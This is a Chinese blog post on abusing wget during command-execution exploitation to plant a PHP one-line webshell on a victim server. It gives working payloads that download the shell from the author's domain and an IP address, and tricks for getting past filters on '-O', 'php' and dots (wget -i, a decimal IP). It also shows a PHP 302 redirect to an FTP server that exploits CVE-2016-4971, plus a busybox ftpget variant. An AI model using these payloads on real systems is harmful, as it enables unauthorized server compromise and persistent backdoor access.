偶尔走失,从未离开

本文主要介绍命令执行类漏洞利用中的wget命令的各种变形。

文章目录:

wget && 绕过

0x01 简介

在命令执行类漏洞的利用场景中和Web方向的题目中,wget出场率是非常之高的。

因为外部写入shell主要是两种方法:1.echo 2.wget

今天主要说一下wget方法

一般情况下,我们使用如下命令getshell

wget from0to1.me/1.txt -O 1.php

然而我们可以发现,这一段payload中敏感字符太多了。

. / php

0x02 过滤了-O

按照正常逻辑,我们需要用-O来指定输出文件,否则脚本将无法正常运行。

当我们没有指定-O时,它将采用我们下载文件名,即1.txt

如果前面只有域名而没有下载文件名时,将默认使用index.html

但是如果我们把下载文件名改为1.php,得到的将是解析后的内容,而不是php文件本身。

这里有两个方法进行绕过:

1.构造php脚本,使其解析后的内容为一句话木马

2.修改apache的解析,使其不解析php文件

wget from0to1.me/1.php

0x03 过滤了php

这里指的过滤了php,是指php3|4|5等所有后缀

我们生成的文件名来自于下载文件名,如果使用纯域名/ip,将默认生成index.html,无法getshell

但是我们仍然是有方法的。

我翻阅了一下wget的文档,发现wget中有一个参数-i,可以从文件中指定下载地址,于是我们就有了一个绕过思路了。

1.首先将网站主页内容改为

from0to1.me/1.php

2.下载该网站主页

wget from0to1.me

3.下载一句话

wget -i in*

成功在目录下生成了1.php一句话

0x04 过滤了 .(或者说是域名)

这个就很简单了,我们将域名对应的ip地址转为数字

wget 1985599799

wget -i i*

成功生成一句话

0x05 302跳转

其实还有一种方法,用302跳转,不过在上面几个场景中,没有什么特别的优势。

<?php
header("Location: https://from0to1.me/1.txt");
?>

0x06 wget CVE-2016-4971

该漏洞主要是 wget 对 HTTP 重定向中 FTP 协议的处理问题,漏洞存在于 1.17 及以下版本。当 wget 检测到服务器返回 301 或 302 时,会自动重定向并下载目标文件。

在正常情况下,即使重定位的文件名不同,下载文件仍会使用原文件名,如果不存在原文件名,则将使用index.html。

但是当返回的Location中使用FTP协议时,wget会默认信赖重定向的FTP URL,而没有进行二次验证或对下载文件名进行适当的处理,使用了重定位的文件名,从而导致了安全隐患。

  • 利用方法

在vps上搭建ftp服务器,并且开启匿名访问(不开启也可以,就是要输入密码)

然后在Web服务器主页设置302跳转

<?php
header("Location: ftp://118.89.217.55/1.php");
//ftp://ftpname:woaini123@118.89.217.55/1.php
?>

此时,我们在受害者服务器执行:
ls -l

wget 1985599799

将在目录下生成1.php的一句话木马

不过目前大部分已经修复了吧~

wget历史包:

http://ftp.gnu.org/gnu/wget/

0x07 busybox 下载

busybox ftpget 1985599799 index.php

也可以从ftp服务器上将shell下载下来,

不过有人说只能以ip为host,这样的话就很鸡肋了。

 标签: none

作者  :  watcher


添加新评论